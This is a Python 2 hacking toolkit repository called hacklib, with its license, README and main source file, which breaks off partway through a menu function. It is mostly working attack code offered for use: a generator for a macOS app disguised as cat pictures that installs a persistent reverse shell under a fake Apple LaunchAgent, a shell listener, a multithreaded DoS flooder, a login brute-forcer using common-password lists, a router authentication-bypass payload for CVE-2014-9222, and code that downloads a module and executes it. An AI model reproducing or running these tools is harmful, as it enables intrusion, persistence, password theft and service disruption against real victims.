├── LICENSE
├── README.md
├── __init__.py
└── hacklib.py
/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2016 Leon Li (leon@apolyse.com)
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # hacklib
2 | 
3 | [](https://www.python.org/)
4 | ##### Toolkit for hacking enthusiasts using Python.
5 | hacklib is a Python module for hacking enthusiasts interested in network security. It is no longer in active development.
6 |
7 |
8 | #### Installation
9 | To get hacklib, simply run in command line:
10 | ```console
11 | pip install hacklib
12 | ```
13 |
14 |
15 | hacklib also has a user interface. To use it, you can do one of the following:
16 |
17 | Download hacklib.py and run in console:
18 | ```console
19 | python hacklib.py
20 | ----------------------------------------------
21 | Hey. What can I do you for?
22 |
23 |
24 | Enter the number corresponding to your choice.
25 |
26 | 1) Connect to a proxy
27 | 2) Target an IP or URL
28 | 3) Lan Scan
29 | 4) Create Backdoor
30 | 5) Server
31 | 6) Exit
32 |
33 | ```
34 | Or if you got it using pip:
35 |
36 | ```python
37 | import hacklib
38 | hacklib.userInterface()
39 | ```
40 |
41 |
42 | #### Usage Examples
43 | Reverse shell backdooring (Currently only for Macs):
44 | ```python
45 | import hacklib
46 |
47 | bd = hacklib.Backdoor()
48 | # Generates an app that, when ran, drops a persistent reverse shell into the system.
49 | bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
50 | # Takes the IP and port of the command server, the OS of the target, and the name of the .app
51 | ```
52 | Generated App:
53 |
54 | 
55 |
56 | Listen for connections with Server:
57 | ```python
58 | >>> import hacklib
59 | >>> s = hacklib.Server(9090) # Bind server to port 9090
60 | >>> s.listen()
61 | New connection ('127.0.0.1', 50011) # Target ran the app (connection retried every 60 seconds)
62 | bash: no job control in this shell
63 | bash$ whoami # Type a command
64 | leon
65 | bash$ # Nice!
66 | ```
67 |
68 | Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins:
69 |
70 | ```python
71 | import hacklib
72 |
73 | ac = hacklib.AuthClient()
74 | # Logging into a gmail account
75 | htmldata = ac.login('https://gmail.com', 'email', 'password')
76 |
77 | # Check for a string in the resulting page
78 | if 'Inbox' in htmldata: print 'Login Success.'
79 | else: print 'Login Failed.'
80 |
81 | # For logins using HTTP Basic Auth:
82 | try:
83 | htmldata = ac.login('http://somewebsite.com', 'admin', 'password')
84 | except: pass #login failed
85 | ```
86 | Simple dictionary attack using AuthClient:
87 | ```python
88 | import hacklib
89 |
90 | ac = hacklib.AuthClient()
91 | # Get the top 100 most common passwords
92 | passwords = hacklib.topPasswords(100)
93 |
94 | for p in passwords:
95 | htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
96 | if htmldata and 'welcome' in htmldata.lower():
97 | print 'Password is', p
98 | break
99 | ```
100 |
101 | Port Scanning:
102 | ```python
103 | from hacklib import *
104 |
105 | ps = PortScanner()
106 | ps.scan(getIP('yourwebsite.com'))
107 | # By default scans the first 1024 ports. Use ps.scan(IP, port_range=(n1, n2), timeout=i) to change default
108 |
109 | # After a scan, open ports are saved within ps for reference
110 | if ps.portOpen(80):
111 | # Establish a TCP stream and sends a message
112 | send(getIP('yourwebsite.com'), 80, message='GET / HTTP/1.0\r\n\r\n')
113 | ```
114 |
115 | Misfortune Cookie Exploit (CVE-2014-9222) using PortScanner:
116 | ```python
117 | >>> import hacklib
118 |
119 | # Discovery
120 | >>> ps = hacklib.PortScanner()
121 | >>> ps.scan('192.168.1.1', (80, 81))
122 | Port 80:
123 | HTTP/1.1 200
124 | Content-Type: text/html
125 | Transfer-Encoding: chunked
126 | Server: RomPager/4.07 UPnP/1.0
127 | EXT:
128 | # The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.
129 |
130 | # Exploitation
131 | >>> payload = '''GET / HTTP/1.0\r\n
132 | Host: 192.168.1.1
133 | User-Agent: googlebot
134 | Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
135 | Accept-Language: en-US, en; q=0.5
136 | Accept-Encoding: gzip, deflate
137 | Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n'
138 | >>> hacklib.send('192.168.1.1', 80, payload)
139 | # The cookie replaced the firmware's memory allocation for web authentication with a null bye.
140 | # The router's admin page is now fully accessible from any web browser.
141 | ```
142 |
143 | FTP authentication:
144 | ```python
145 | import hacklib
146 | ftp = hacklib.FTPAuth('127.0.0.1', 21)
147 | try:
148 | ftp.login('username', 'password')
149 | except:
150 | print 'Login failed.'
151 | ```
152 |
153 | Socks4/5 proxy scraping and tunneling
154 | ```python
155 | >>> import hacklib
156 | >>> import urllib2
157 | >>> proxylist = hacklib.getProxies() # scrape recently added socks proxies from the internet
158 | >>> proxy = hacklib.Proxy()
159 | >>> proxy.connect(proxylist) # automatically find and connect to a working proxy in proxylist
160 | >>> proxy.IP
161 | u'41.203.214.58'
162 | >>> proxy.port
163 | 65000
164 | >>> proxy.country
165 | u'KE'
166 | # All Python network activity across all modules are routed through the proxy:
167 | >>> urllib2.urlopen('http://icanhazip.com/').read()
168 | '41.203.214.58\n'
169 | # Notes: Only network activity via Python are masked by the proxy.
170 | # Network activity on other programs such as your webbrowser remain unmasked.
171 | # To filter proxies by country and type:
172 | # proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5')
173 | ```
174 |
175 | Word Mangling:
176 |
177 | ```python
178 | from hacklib import *
179 |
180 | word = Mangle("Test", 0, 10, 1990, 2016)
181 |
182 | word.Leet()
183 | word.Numbers()
184 | word.Years()
185 | ```
186 | Output:
187 |
188 | ```
189 | T3$t
190 | Test0
191 | 0Test
192 | ...snip...
193 | Test10
194 | 10Test
195 | Test1990
196 | 1990Test
197 | ...snip...
198 | Test2016
199 | 2016Test
200 | ```
201 |
202 | Pattern Create:
203 |
204 | ```python
205 | from hacklib import *
206 |
207 | Pattern = PatternCreate(100)
208 |
209 | Pattern.generate()
210 | ```
211 | Output:
212 |
213 | ```
214 | Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
215 | ```
216 |
217 | Pattern Offset:
218 |
219 | ```python
220 | from hacklib import *
221 |
222 | Offset = PatternOffset("6Ab7")
223 |
224 | Offset.find()
225 | ```
226 | Output:
227 |
228 | ```python
229 | [+] Offset: 50
230 | ```
231 |
232 | #### Dependencies
233 | Not all classes have external dependencies, but just in case you can do the following:
234 | ```python
235 | hacklib.installDependencies()
236 | ```
237 |
238 |
--------------------------------------------------------------------------------
/__init__.py:
--------------------------------------------------------------------------------
1 | from hacklib import *
2 |
--------------------------------------------------------------------------------
/hacklib.py:
--------------------------------------------------------------------------------
1 | '''The MIT License (MIT)
2 |
3 | Copyright (c) 2016 Leon Li (leon@apolyse.com)
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
6 | associated documentation files (the "Software"), to deal in the Software without restriction, including
7 | without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
8 | copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to
9 | the following conditions:
10 |
11 | The above copyright notice and this permission notice shall be included in all copies or substantial
12 | portions of the Software.
13 |
14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
15 | INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
16 | PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
17 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
18 | CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
19 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'''
20 |
21 | import socket
22 | import threading
23 | import time
24 | import urllib2
25 | import os
26 | from Queue import Queue
27 | try: # Import scapy if they have it. If they don't, they can still use hacklib
28 | from scapy.all import *
29 | import logging
30 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Fixes scapy logging error
31 | except:
32 | pass
33 | from string import ascii_uppercase, ascii_lowercase, digits # Import for PatternCreate and PatternOffset
34 |
35 |
36 | class Backdoor(object):
37 | '''Creates an app carrying a persistent backdoor payload. Currently only for Mac OSX.
38 | Payloads for Windows and Linux coming soon.'''
39 |
40 | def __init__(self):
41 | self.IP = ''
42 | self.port = ''
43 | self.osx_payload = '''#!/bin/bash
44 | mkdir ~/Library/.h
45 | echo '#!/bin/bash
46 | bash -i >& /dev/tcp/HOST/PORT 0>&1
47 | wait' > ~/Library/.h/connect.sh
48 | chmod +x ~/Library/.h/connect.sh
49 | echo '
50 |
51 | Label
52 | com.apples.services
53 | ProgramArguments
54 |
55 | /bin/sh
56 | '$HOME'/Library/.h/connect.sh
57 |
58 | RunAtLoad
59 |
60 | StartInterval
61 | 60
62 | AbandonProcessGroup
63 |
64 |
65 | ' > ~/Library/LaunchAgents/com.apples.services.plist
66 | chmod 600 ~/Library/LaunchAgents/com.apples.services.plist
67 | launchctl load ~/Library/LaunchAgents/com.apples.services.plist
68 | exit
69 | '''
70 |
71 | def create(self, IP, port, OS, appname='funny_cats'):
72 | '''Creates a user-level reverse shell.'''
73 |
74 | if OS == 'OSX':
75 | self.osx_payload = self.osx_payload.replace('HOST', IP).replace('PORT', str(port))
76 | try:
77 | os.makedirs(os.getcwd() + '/' + appname + '.app/Contents/MacOS')
78 | except:
79 | pass
80 | payload_path = os.getcwd() + '/' + appname + '.app/Contents/MacOS/' + appname
81 | with open(payload_path, 'w') as f:
82 | f.write(self.osx_payload)
83 | import subprocess
84 | subprocess.Popen(['chmod', '755', payload_path])
85 | print 'Payload saved to ' + os.getcwd() + '/' + appname + '.app'
86 |
87 |
88 | class Server(object):
89 |
90 | def __init__(self, port):
91 | import socket
92 | self.port = port
93 | self.address = ('', port)
94 |
95 | def listen(self):
96 | import time
97 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
98 | sock.bind(self.address)
99 | sock.listen(1)
100 | while True:
101 | connection, cAddress = sock.accept()
102 | try:
103 | print 'New connection', cAddress
104 | while True:
105 | data = connection.recv(32768)
106 | if data:
107 | print '\n'.join(data.split('\n')[:-1])
108 | response = raw_input('bash$ ')
109 | data = None
110 | if response:
111 | connection.sendall(response + '\n')
112 | time.sleep(0.5)
113 | finally:
114 | connection.close()
115 |
116 |
117 | class FTPAuth(object):
118 | '''FTP login and command handler.
119 | Commands:
120 | login() Args: username, password
121 | send() Args: message
122 | '''
123 |
124 | def __init__(self, IP, port=21):
125 | self.IP = IP
126 | self.port = port
127 | self.username = ''
128 | self.password = ''
129 | self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
130 | self.s.settimeout(5)
131 | self.s.connect((self.IP, self.port))
132 | self.s.recv(1024)
133 |
134 | def _send(self, message):
135 | self.s.send(message)
136 | response = self.s.recv(32768)
137 | return response
138 |
139 | def send(self, message):
140 | self.s.send(message + '\r\n')
141 | while True:
142 | response = self.s.recv(32768)
143 | if response:
144 | return response
145 |
146 | def login(self, username, password):
147 | self._send('USER ' + username + '\r\n')
148 | response = self._send('PASS ' + password + '\r\n')
149 | if '230' in response:
150 | return
151 | elif '331' in response:
152 | return 'Password required'
153 | else:
154 | raise Exception(response)
155 |
156 |
157 | class AuthClient(object):
158 | '''Universal login tool for most login pages as well as HTTP Basic Authentication.
159 | Commands:
160 | login() Args: url, username, password
161 | '''
162 |
163 | def __init__(self):
164 | self.url = ''
165 | self.username = ''
166 | self.password = ''
167 |
168 | def _get_login_type(self):
169 | try:
170 | # Attempts to urlopen target URL without exception
171 | data = urllib2.urlopen(self.url)
172 | return 'FORM'
173 | except Exception, e:
174 | if 'error 401' in str(e).lower():
175 | return 'BA'
176 | if 'timed out' in str(e).lower():
177 | return 'TO'
178 |
179 | def _login_mechanize(self):
180 | try:
181 | import mechanize
182 | except:
183 | raise MissingPackageException('Please install the mechanize module before continuing.')
184 | # Sets up common input names/ids and creates instance of mechanize.Browser()
185 | userfields = ['user', 'username', 'usr', 'email', 'name', 'login', 'userid', 'userid-input', 'player']
186 | passfields = ['pass', 'password', 'passwd', 'pw', 'pwd']
187 | br = mechanize.Browser()
188 | br.set_handle_robots(False)
189 | br.set_handle_refresh(False)
190 | br.addheaders = [('User-agent', 'googlebot')]
191 | # Opens URL and lists controls
192 | response = br.open(self.url)
193 | loginurl = response.geturl()
194 | br.form = list(br.forms())[0]
195 | username_control = ''
196 | password_control = ''
197 | # Locates username and password input, and submits login info
198 | for control in br.form.controls:
199 | if control.name and control.name.lower() in userfields or control.id and control.id.lower() in userfields:
200 | username_control = control
201 | if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields:
202 | password_control = control
203 | username_control.value = self.username
204 | try:
205 | password_control.value = self.password
206 | except:
207 | # Detected a username input but not a password input.
208 | # Submits form with username and attempts to detect password input in resulting page
209 | response = br.submit()
210 | br.form = list(br.forms())[0]
211 | for control in br.form.controls:
212 | if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields:
213 | password_control = control
214 | password_control.value = self.password
215 | response = br.submit()
216 | # Returns response if the URL is changed. Assumes login failure if URL is the same
217 | if response.geturl() != loginurl:
218 | return response.read()
219 | else:
220 | raise Exception('Login credentials incorrect.')
221 |
222 | def _login_BA(self):
223 | try:
224 | # Creates a PasswordMgr instance
225 | passmanager = urllib2.HTTPPasswordMgrWithDefaultRealm()
226 | passmanager.add_password(None, self.url, self.username, self.password)
227 | # Creates an auth handling object and builds it with opener
228 | auth = urllib2.HTTPBasicAuthHandler(passmanager)
229 | opener = urllib2.build_opener(auth)
230 | response = opener.open(self.url, timeout=8)
231 | data = response.read()
232 | response.close()
233 | return data
234 | except Exception, e:
235 | if 'Error 401' in str(e):
236 | raise Exception('Login credentials incorrect.')
237 |
238 | def login(self, url, username, password):
239 | self.url = url
240 | self.username = username
241 | self.password = password
242 | # ascertain the type of login page given by url
243 | logintype = self. _get_login_type()
244 | if logintype == 'BA':
245 | # attempts to login with BA method and return html
246 | return self._login_BA()
247 | if logintype == 'TO':
248 | raise Exception('Request timed out.')
249 | if logintype == 'FORM':
250 | return self._login_mechanize()
251 |
252 |
253 | class DOSer(object):
254 | '''Hits a host with GET requests on default port 80 from multiple threads.
255 | Commands:
256 | launch() Args: host, duration, threads(default 1), port(default 80),
257 | payload(default crocodile)
258 | '''
259 |
260 | def __init__(self):
261 | self.target = '127.0.0.1'
262 | self.port = 80
263 | self.threads = 1
264 | self.payload = '?INTERIORCROCODILEALLIGATORIDRIVEACHEVROLETMOVIETHEATER'
265 | self.start_time = 0
266 | self.time_length = 1
267 |
268 | def _attack(self, target):
269 | # Sends GET requests for time_length duration
270 | while int(time.time()) < self.start_time + self.time_length:
271 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
272 | s.settimeout(1)
273 | try:
274 | s.connect((self.target, self.port))
275 | s.send("GET /" + self.payload + " HTTP/1.1\r\n")
276 | s.send("Host: " + self.target + "\r\n\r\n")
277 | except:
278 | pass
279 |
280 | def _threader(self):
281 | while True:
282 | self.worker = self.q.get()
283 | self._attack(self.worker)
284 | self.q.task_done()
285 |
286 | def launch(self, host, duration, threads=1, port=80, payload='default'):
287 | '''Launches threaded GET requests for (duration) seconds.
288 | '''
289 | self.target = host
290 | self.port = port
291 | self.threads = threads
292 | self.start_time = int(time.time())
293 | self.time_length = duration
294 | if payload != 'default':
295 | self.payload = payload
296 | # Creates queue to hold each thread
297 | self.q = Queue.Queue()
298 | #print '> Launching ' + str(threads) + ' threads for ' + str(duration) + ' seconds.'
299 | for i in range(threads):
300 | t = threading.Thread(target=self._threader)
301 | t.daemon = True
302 | t.start()
303 | # Adds workers to queue
304 | for worker in range(0, threads):
305 | self.q.put(worker)
306 |
307 | self.q.join()
308 | return
309 |
310 |
311 | class PortScanner(object):
312 | '''Scan an IP address using scan(host) with default port range 1-1024.
313 | Commands:
314 | scan() Args: IP, port_range(default 1024), timeout(default 1), verbose(default True)
315 | '''
316 |
317 | def __init__(self):
318 | self.IP = '127.0.0.1'
319 | self.port_range = '1025'
320 | self.print_lock = threading.Lock()
321 | self.timeout = 2
322 | self.openlist = []
323 | self.verbose = True
324 |
325 | def _portscan(self, port):
326 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
327 | s.settimeout(self.timeout)
328 | # Tries to establish a connection to port, and append to list of open ports
329 | try:
330 | con = s.connect((self.IP, port))
331 | response = s.recv(1024)
332 | self.openlist.append(port)
333 | if self.verbose:
334 | with self.print_lock:
335 | print 'Port', str(port) + ':'
336 | print response
337 | s.close()
338 | # If the connection fails, tries to establish HTTP connection if port is a common HTTP port
339 | except Exception, e:
340 | httplist = [80, 81, 443, 1900, 2082, 2083, 8080, 8443]
341 | if port in httplist:
342 | try:
343 | headers = '''GET /HTTP/1.1
344 | Host: ''' + self.IP + '''
345 | User-Agent: googlebot
346 | Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
347 | Accept-Language: en-US, en; q=0.5
348 | Accept-Encoding: gzip, deflate''' + '\r\n\r\n'
349 | s.send(headers)
350 | response = s.recv(1024)
351 | response = response.splitlines()
352 | response = '\n'.join(response[:7])
353 | self.openlist.append(port)
354 | if self.verbose:
355 | with self.print_lock:
356 | print 'Port', str(port) + ':'
357 | print response
358 | s.close()
359 | except:
360 | pass
361 |
362 | def portOpen(self, port):
363 | if port in self.openlist:
364 | return
365 | else:
366 | return False
367 |
368 | def _threader(self):
369 | while True:
370 | self.worker = self.q.get()
371 | self._portscan(self.worker)
372 | self.q.task_done()
373 |
374 | def scan(self, IP, port_range=(1, 1025), timeout=1, verbose=True):
375 | '''Scans ports of an IP address. Use getIP() to find IP address of host.
376 | '''
377 | self.openlist = []
378 | self.IP = IP
379 | self.port_range = port_range
380 | self.timeout = 1
381 | # Creates queue to hold each thread
382 | self.q = Queue.Queue()
383 | for x in range(30):
384 | t = threading.Thread(target=self._threader)
385 | t.daemon = True
386 | t.start()
387 | # Adds workers to queue
388 | for worker in range(port_range[0], port_range[1]):
389 | self.q.put(worker)
390 |
391 | self.q.join()
392 |
393 |
394 | class LanScanner(object):
395 | '''Scans local devices on your LAN network.
396 | Commands:
397 | scan() Args: host_range(default (1, 255))
398 | '''
399 |
400 | def __init__(self):
401 | self.host_range = []
402 | self.alive_hosts = []
403 | self.localIP = ''
404 |
405 | def _threader(self):
406 | while True:
407 | self.worker = self.q.get()
408 | self._scan(self.worker)
409 | self.q.task_done()
410 |
411 | def _scan(self, host):
412 | import subprocess
413 | try:
414 | resp = subprocess.check_output(['ping', '-c1', '-W90', host])
415 | self.alive_hosts.append(host)
416 | except:
417 | return
418 |
419 | def getLocalIP(self):
420 | import subprocess
421 | proc = subprocess.Popen(["ifconfig"], stdout=subprocess.PIPE, shell=True)
422 | (out, err) = proc.communicate()
423 | data = out.splitlines()
424 | for line in data:
425 | if 'inet ' in line and '127.' not in line:
426 | return line.split(' ')[1]
427 |
428 | def scan(self, h_range=(1, 255)):
429 | # Finds local IP first in order to determine IP range of local network
430 | localip = self.getLocalIP()
431 | stub = '.'.join(localip.split('.')[:-1])
432 | # Adds list of possible local hosts to self.range_range
433 | for i in range(h_range[0], h_range[1]):
434 | self.host_range.append(stub + '.' + str(i))
435 | self.q = Queue.Queue()
436 | # Launches 100 threads to ping 254 potential hosts
437 | for x in range(100):
438 | t = threading.Thread(target=self._threader)
439 | t.daemon = True
440 | t.start()
441 | for worker in self.host_range:
442 | self.q.put(worker)
443 | self.q.join()
444 | return list(set(self.alive_hosts))
445 |
446 |
447 | class _Getch:
448 | """Gets a single character from standard input. Does not echo to the
449 | screen."""
450 |
451 | def __init__(self):
452 | try:
453 | self.impl = _GetchWindows()
454 | except ImportError:
455 | try:
456 | self.impl = _GetchUnix()
457 | except ImportError:
458 | self.impl = _GetchMacCarbon()
459 |
460 | def __call__(self): return self.impl()
461 |
462 |
463 | class _GetchUnix:
464 | def __init__(self):
465 | import tty
466 | import sys
467 | import termios
468 |
469 | def __call__(self):
470 | import sys
471 | import tty
472 | import termios
473 | try:
474 | fd = sys.stdin.fileno()
475 | old_settings = termios.tcgetattr(fd)
476 | try:
477 | tty.setraw(sys.stdin.fileno())
478 | ch = sys.stdin.read(1)
479 | finally:
480 | termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
481 | return ch
482 | except:
483 | return raw_input('> ')
484 |
485 |
486 | class _GetchWindows:
487 | def __init__(self):
488 | import msvcrt
489 |
490 | def __call__(self):
491 | try:
492 | import msvcrt
493 | return msvcrt.getch()
494 | except:
495 | return raw_input('> ')
496 |
497 |
498 | class Proxy(object):
499 | '''Can work in conjunction with getProxies() to tunnel all
500 | network activity in the Python script through a Socks4/5 proxy.
501 | Commands:
502 | connect() Args: getProxies(), timeout=10
503 | connect_manual() Args: IP, port, proxy_type
504 | '''
505 |
506 | def __init__(self):
507 | self.IP = ''
508 | self.port = ''
509 | self.proxy_type = ''
510 | self.country = ''
511 | self._socksfile = urllib2.urlopen('https://raw.githubusercontent.com/Anorov/PySocks/master/socks.py').read()
512 | global socks
513 | # Dynamically import socks.py from the internet
514 | socks = importFromString(self._socksfile, 'socks')
515 |
516 | def connect(self, proxies, timeout=10):
517 | for proxy in proxies:
518 | if proxy[4] == 'Socks4':
519 | self.proxy_type = socks.PROXY_TYPE_SOCKS4
520 | else:
521 | self.proxy_type = socks.PROXY_TYPE_SOCKS5
522 | try:
523 | # Sets the socket.socket class to the socks module's socksocket class
524 | socks.setdefaultproxy(self.proxy_type, proxy[0], int(proxy[1]))
525 | socket.socket = socks.socksocket
526 | # Tests to see if the proxy can open a webpage
527 | currentIP = urllib2.urlopen('http://icanhazip.com/', timeout=timeout).read().split()[0]
528 | self.IP = proxy[0]
529 | self.port = int(proxy[1])
530 | self.country = proxy[2]
531 | return
532 | except:
533 | pass
534 | raise Exception('Couldn\'t connect to any proxies.')
535 |
536 | def connect_manual(IP, port, proxy_type='Socks5'):
537 | if proxy_type == 'Socks4':
538 | self.proxy_type = socks.PROXY_TYPE_SOCKS4
539 | else:
540 | self.proxy_type = socks.PROXY_TYPE_SOCKS5
541 | try:
542 | socks.setdefaultproxy(self.proxy_type, IP, port)
543 | socket.socket = socks.socksocket
544 | currentIP = urllib2.urlopen('http://icanhazip.com/').read().split()[0]
545 | self.IP = IP
546 | self.port = port
547 | return currentIP
548 | except:
549 | raise Exception('Connection failed.')
550 |
551 |
552 | def importFromString(code, name):
553 | """Import dynamically generated code as a module.
554 | Args: code: a string, a file handle, or a compiled binary
555 | name: the name of the module
556 | """
557 | import sys
558 | import imp
559 | module = imp.new_module(name)
560 | exec code in module.__dict__
561 | return module
562 |
563 |
564 | def getIP(host):
565 | return socket.gethostbyname(host)
566 |
567 |
568 | def randomIP():
569 | import struct
570 | return socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
571 |
572 |
573 | def getProxies(country_filter='ALL', proxy_type=('Socks4', 'Socks5')):
574 | '''Gets list of recently tested Socks4/5 proxies.
575 | Return format is as follows:
576 | [IP, Port, Country Code, Country, Proxy Type, Anonymous, Yes/No, Last Checked]
577 | Args: country_filter: Specify country codes within a tuple, e.g. ('US', 'MX')
578 | proxy_type: Specify whic Socks version to use, e.g. 'Socks5'
579 | '''
580 | try:
581 | import mechanize
582 | except:
583 | raise MissingPackageException('Please install the mechanize module before continuing. Use hacklib.installDependencies()')
584 | try:
585 | from bs4 import BeautifulSoup
586 | except:
587 | raise MissingPackageException('Please install the beautifulsoup4 module before continuing. Use hacklib.installDependencies()')
588 | br = mechanize.Browser()
589 | br.set_handle_robots(False)
590 | br.addheaders = [('User-agent', 'googlebot')]
591 | data = br.open('http://www.socks-proxy.net').read()
592 | soup = BeautifulSoup(data, 'html.parser')
593 | proxylist = []
594 | table = soup.find('table')
595 | tbody = table.find('tbody')
596 | rows = tbody.find_all('tr')
597 | for row in rows:
598 | cols = row.find_all('td')
599 | cols = [ele.text.strip() for ele in cols]
600 | proxylist.append([ele for ele in cols if ele])
601 | filteredlist = []
602 | if not country_filter == 'ALL':
603 | for proxy in proxylist:
604 | if proxy[2] in country_filter:
605 | filteredlist.append(proxy)
606 | proxylist = filteredlist
607 | filteredlist = []
608 | if not proxy_type == ('Socks4', 'Socks5'):
609 | for proxy in proxylist:
610 | if not country_filter == 'ALL':
611 | if proxy[4] in proxy_type and proxy[2] in country_filter:
612 | filteredlist.append(proxy)
613 | else:
614 | if proxy[4] in proxy_type:
615 | filteredlist.append(proxy)
616 | proxylist = filteredlist
617 | return proxylist
618 |
619 |
620 | def installDependencies():
621 | import subprocess
622 | mech = subprocess.check_output(['/usr/local/bin/pip', 'install', 'mechanize'])
623 | if 'successfully installed' in mech:
624 | print 'Installed mechanize'
625 | beaut = subprocess.check_output(['/usr/local/bin/pip', 'install', 'bs4'])
626 | if 'successfully installed' in beaut:
627 | print 'Installed beautifulsoup'
628 | scapy = subprocess.check_output(['/usr/local/bin/pip', 'install', 'scapy'])
629 | if 'successfully installed' in scapy:
630 | print 'Installed scapy'
631 | pcapy = subprocess.check_output(['/usr/local/bin/pip', 'install', 'pcapy'])
632 | if 'successfully installed' in pcapy:
633 | print 'Installed pcapy'
634 |
635 |
636 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
637 |
638 |
639 | def send(IP, port, message, keepalive=False):
640 | '''Creates new socket and sends a TCP message. If keepalive is true, use hacklib.sock
641 | to handle socket and hacklib.sock.close() when finished.
642 | '''
643 | if keepalive:
644 | global sock
645 | else:
646 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
647 | sock.connect((IP, port))
648 | sock.send(message)
649 | response = sock.recv(2048)
650 | if not keepalive:
651 | sock.close()
652 | return response
653 |
654 |
655 | def ping(host):
656 | """Pings a host and returns true if the host exists.
657 | """
658 | import os
659 | import platform
660 | ping_str = "-n 1" if platform.system().lower() == "windows" else "-c 1"
661 | return os.system("ping " + ping_str + " " + host) == 0
662 |
663 |
664 | def topPasswords(amount):
665 | '''Get up to 100,000 most common passwords.
666 | '''
667 | url = 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_100000.txt'
668 | passlist = urllib2.urlopen(url).read().split('\n')
669 | return passlist[:amount]
670 |
671 |
672 | def uiPortScan(address):
673 | print ''
674 | print '1) default scan (port range 1-1024)'
675 | print '2) custom range'
676 | ink = _Getch()
677 | cmd = ink()
678 | ps = PortScanner()
679 | print 'Beginning port scan.'
680 | if cmd == '1':
681 | ps.scan(address)
682 | if cmd == '2':
683 | s_port = raw_input('Input starting port > ')
684 | e_port = raw_input('Input end port >')
685 | ps.scan(address, (int(s_port), int(e_port)))
686 | print 'Port scan complete.'
687 |
688 |
689 | def uiDOS(address):
690 | dos = DOSer()
691 | print ''
692 | duration = raw_input('Duration > ')
693 | threads = raw_input('Threads > ')
694 | port = int(raw_input('Port > '))
695 | payload = raw_input('Payload > ')
696 | print 'Launching DOS attack'
697 | dos.launch(address, duration, threads, port, payload)
698 |
699 |
700 | def uiTCPMessage(address):
701 | print ''
702 | port = int(raw_input('Input port >'))
703 | message = raw_input('Message > ')
704 | send(address, port, message)
705 |
706 |
707 | def uiLogin(address):
708 | print ''
709 | print 'Select login type'
710 | print '1) HTTP/Form login'
711 | print '2) FTP login'
712 | print '3) Exit'
713 | print ''
714 | ink = _Getch()
715 | cmd = ink()
716 | if cmd == '1':
717 | ac = AuthClient()
718 | print '1) Dictionary attack'
719 | print '2) Exit'
720 | ink = _Getch()
721 | cmd = ink()
722 | if cmd == '1':
723 | username = raw_input('Username > ')
724 | print '1) Try most common passwords'
725 | print '2) Import password list (separated by newline)'
726 | cmd = ink()
727 | if cmd == '1':
728 | print 'Try the top out of 100,000 most common passwords:'
729 | num = int(raw_input('> '))
730 | passwords = topPasswords(num)
731 | if cmd == '2':
732 | passfile = raw_input('Filepath > ')
733 | with open(passfile, 'r') as f:
734 | passwords = passfile.read().splitlines()
735 | print 'Input a unique string the webpage may respond with if login fails'
736 | print 'i.e. "please try again" or "login failed"'
737 | failstring = raw_input('> ')
738 | for password in passwords:
739 | try:
740 | data = ac.login(address, username, password)
741 | if failstring in data:
742 | print password + ' failed'
743 | elif failstring not in data:
744 | print 'Login success!'
745 | print 'Password is: ' + password
746 | time.sleep(2)
747 | return
748 | except:
749 | print password + ' failed'
750 | if cmd == '2':
